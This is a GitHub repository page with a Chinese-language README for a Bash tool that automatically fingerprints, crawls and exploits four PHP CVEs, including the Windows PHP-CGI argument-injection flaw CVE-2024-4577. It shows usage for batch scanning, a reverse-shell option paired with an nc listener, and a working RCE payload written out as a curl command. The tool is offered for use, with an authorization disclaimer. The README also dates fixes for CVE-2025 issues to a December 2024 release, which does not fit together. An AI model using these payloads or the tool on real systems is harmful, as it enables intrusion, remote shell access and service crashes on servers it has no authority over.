gl1tch0x1/PHP_8.1.x_Exploit

GitHub: gl1tch0x1/PHP_8.1.x_Exploit

一款针对 PHP 8.1.34 之前版本四个高危 CVE 的自动化检测与利用工具,从指纹识别到远程代码执行全流程无需手动干预。

Stars: 0 | Forks: 0

# 🚀 PHP CVE Autopilot **自动检测与利用严重的 PHP 漏洞 (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)** [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0) [![Bash](https://img.shields.io/badge/Bash-4.0+-green.svg)](https://www.gnu.org/software/bash/) `PHP8.1.x_Exploit.sh` 是一个**单文件、零配置**的安全评估工具,可自动发现存在漏洞的 PHP 端点,并利用影响 **PHP 8.1.34**(发布于 2024 年 12 月)**之前版本**的**四个高危 CVE**。它**无需手动构造 Payload**——只需提供一个 URL,脚本便会完成从爬取到远程代码执行 (RCE) 的所有工作。**全自动运行**——无需用户干预即可自动检测和利用漏洞。 ## 功能特性 - **全自主自动运行** – 只需提供一个 URL,它就能在没有用户交互的情况下进行爬取、指纹识别、测试和利用。 - **批量扫描** – 提供目标列表并并行运行。 - **高级爬取** – 从主页提取链接和表单,以实现更好的发现效果。 - **操作系统与 PHP 版本指纹识别** – 避免在 Linux 上发起仅限 Windows 的攻击,并检查 PHP 版本。 - **CVE-2024-4577 bypass** (Windows CGI 参数注入) - 检测并利用存在漏洞的 PHP-CGI 端点。 - 可选的**反弹 Shell** (PowerShell 单行命令)。 - 两种注入方式:标准 `-d` 和软连字符 `%AD` 绕过。 - **CVE-2025-14177** – 通过 `getimagesize()` 触发堆内存泄漏 - 动态创建畸形 JPEG 并自动将其提交到任何已发现的上传端点。 - 检测响应中泄漏的内存。 - **通过 RCE 进行深度本地扫描** (当 CVE-2024-4577 被成功利用时) - 上传一个轻量级的 PHP 扫描器,用于测试: - **CVE-2025-14180** – PDO PostgreSQL 中的 NULL 指针解引用。 - **CVE-2025-14178** – `array_merge` 中的整数溢出。 - **智能爬取** – 提取链接和表单以发现 CGI 脚本和上传页面。 - **并行执行** – 如果可用则使用 `parallel`,否则平滑回退。 - **详细与调试模式** – 查看每一个 HTTP 请求和决策。 - **报告生成** – 将所有发现保存到文本文件中。 - **整洁且安全** – 退出时销毁临时文件,超时机制防止挂起。 ## 系统要求 | 依赖 | 用途 | 通常已安装? | |------------|---------|---------------------| | `bash` 4.0+ | 脚本解释器 | 是 | | `curl` | HTTP 请求 | 是 | | `grep`, `sed`, `awk` | 文本处理 | 是 | | `mktemp` | 创建临时文件 | 是 | | (可选) `parallel` | 更快的批量扫描 | 否 (但推荐) | | (可选) `jq` | JSON 输出格式化 | 否 | ## 安装 ``` git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git cd PHP_8.1.x_Exploit chmod +x PHP8.1.x_Exploit.sh ``` ## 使用方法 **单个目标(最常用)** ``` ./PHP8.1.x_Exploit.sh -u http://target.example.com ``` **单个目标并反弹 Shell (CVE-2024-4577)** ``` ./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444 ``` ***然后在您的机器上:*** ``` nc -lvnp 4444 ``` **批量扫描多个目标** ``` ./PHP8.1.x_Exploit.sh -l targets.txt --threads 10 ``` **示例** `targets.txt`: ``` http://192.168.1.1/ https://10.0.0.5:8080/ http://internal-app.company.com ``` **仅扫描模式(不进行利用尝试)** ``` ./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only ``` **将报告保存到文件** ``` ./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt ``` **详细 / 调试输出** ``` ./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose ./PHP8.1.x_Exploit.sh -u http://target.com/ --debug # very noisy ``` ## 工作原理(阶段) | 阶段 | 操作 | |-------|--------| | 1 | 指纹识别 – 通过 HTTP 响应头和探测获取操作系统和 PHP 版本。 | | 2 | 爬取 – 从主页提取 `href` 和 `action` 属性。 | | 3 | CGI 发现 – 尝试常见路径和看起来像 CGI 的已爬取链接。 | | 4 | CVE‑2024‑4577 测试 – 注入 `-d` 和 `%AD` payload;如果成功,则执行命令或发送反弹 shell。 | | 5 | 上传端点发现 – 检查常见的上传路径以及任何包含 "upload"/"image" 的表单。 | | 6 | CVE‑2025‑14177 测试 – 构造畸形的 JPEG,将其 POST 到每个上传端点,检测堆内存泄漏。 | | 7 | 深度内部扫描 – 如果实现了 RCE,则上传一个扫描用的 PHP 脚本并运行,以测试 CVE‑2025‑14180 / CVE‑2025‑14178。 | | 8 | 报告 – 打印摘要并可选择写入文件。 | ## 命令行选项(完整参考) | 选项 | 描述 | |--------|-------------| | `-u URL` | 单个目标 URL (例如 `http://example.com/`) | | `-l FILE` | 包含 URL 的批处理文件(每行一个) | | `--scan-only` | 仅检测 – 不进行利用(无反弹 shell,不上传 payload) | | `-o FILE` | 将最终报告写入 `FILE` | | `--threads N` | 批量扫描的并行线程数 (默认: 5) | | `--timeout N` | HTTP 超时时间,单位为秒 (默认: 10) | | `--no-color` | 禁用彩色输出 | | `--verbose` | 显示详细进度 | | `--debug` | 显示每一个 HTTP 请求 (可能会暴露敏感数据) | | `--revshell IP PORT` | 当发现 CVE‑2024‑4577 时尝试反弹 shell | | `-h, --help` | 显示帮助信息并退出 | ## 涵盖的 CVE 详情 | CVE | 严重程度 | 影响 | 利用向量 | 修复版本 | |-----|----------|--------|---------------------|-----------| | CVE‑2024‑4577 (bypass) | 严重 | RCE | Windows CGI 参数注入 (软连字符映射) | PHP 8.1.34 | | CVE‑2025‑14177 | 中/高 | 信息泄漏 (堆内存) | 将畸形 JPEG 传递给 `getimagesize()` | PHP 8.1.34 | | CVE‑2025‑14180 | 高 | DoS (NULL 指针解引用) | 使用模拟预处理 (emulated prepares) 的 PDO PostgreSQL + 畸形参数 `\x99` | PHP 8.1.34 | | CVE‑2025‑14178 | 高 (8.2) | DoS / 潜在内存破坏 | 对巨大数组使用 `array_merge()` 导致整数溢出 | PHP 8.1.34 | ## 📸 示例输出 ``` [*] Scanning: http://192.168.1.100/ [*] OS: windows [*] PHP version: 8.1.33 [*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe [✓] CVE-2024-4577: VULNERABLE (soft hyphen injection) [*] Attempting reverse shell to 192.168.1.5 4444 ... [*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php [-] CVE-2025-14177: Potential heap leak detected! ... [*] Running deep local scan via RCE... PHP_VERSION=8.1.33 CVE-2025-14180: VULNERABLE CVE-2025-14178: VULNERABLE CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...) ===================== Report for http://192.168.1.100/ ===================== OS: windows PHP: 8.1.33 CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input PoC: curl -X POST --data '' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami' CVE-2025-14177: VULNERABLE CVE-2025-14180/14178: VULNERABLE (see deep scan output) ============================================================== ``` ## ⚠️ 重要警告与免责声明 - **自动模式** – 该工具无需提示即可自动利用漏洞。请仅在已授权的目标上使用。 - **仅限合法用途** – 此工具旨在用于**授权的安全评估、渗透测试和教育目的**。在大多数司法管辖区,未经许可对系统使用该工具是违法的。 - **无担保** – 本软件按“原样”提供,不提供任何形式的担保。 - **潜在损害** – 利用可能会导致服务崩溃 (CVE-2025-14180) 或破坏内存 (CVE-2025-14178)。未经明确同意,请勿在生产系统上运行。 - **反弹 Shell** – `--revshell` 选项会从目标打开一个连接到您机器的 socket。请确保您拥有回连的权限。 - **日志记录** – 您的请求将出现在目标的访问/错误日志中。请负责任地使用。 ## 🛠️ 故障排除 | 问题 | 解决方案 | |---------|----------| | `curl: command not found` | 安装 `curl` | | `GNU parallel not found` | 可忽略 – 脚本在没有它的情况下也能工作 (批量扫描较慢) | | 未找到 CGI 端点 | 目标可能未使用 CGI,或者被 WAF 拦截了 `-d` 标志 | | CVE-2024-4577 成功但反弹 shell 失败 | 检查防火墙;使用 `--scan-only` 和手动 `nc` 监听器尝试更简单的 payload | | 图片泄漏测试始终返回 "No leak" | 上传端点可能未使用 `getimagesize()`,或过滤了二进制数据 | | 本地扫描器上传失败 | Web 根目录可能不可写;脚本会尝试写入与 CGI 脚本相同的目录中 | ## 📜 许可证 **GNU General Public License v3.0** – 详见 [LICENSE](LICENSE) 文件。 ## 📚 参考 - [PHP 8.1.34 发布公告](https://www.php.net/ChangeLog-8.php#8.1.34) - [CVE-2024-4577 详情 (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2024-4577) - [CVE-2025-14177 / 14178 / 14180 (NVD)](https://nvd.nist.gov/) - [Windows 最佳适配字符映射](https://docs.microsoft.com/en-us/windows/win32/intl/code-page-identification) **用 🧠 为安全社区打造。请道德使用。**
标签:C2日志可视化, CGI参数注入, CISA项目, CodeQL, CVE-2024-4577, CVE-2025-14177, CVE-2025-14178, CVE-2025-14180, Maven, PHP-CGI, PHP漏洞, PoC, RCE, Web安全, XXE攻击, 加密, 反向Shell, 堆内存泄漏, 安全评估工具, 应用安全, 指纹识别, 整数溢出, 无线安全, 暴力破解, 漏洞扫描器, 漏洞验证, 空指针解引用, 编程工具, 网站爬虫, 自动化渗透测试, 蓝队分析, 远程代码执行, 零配置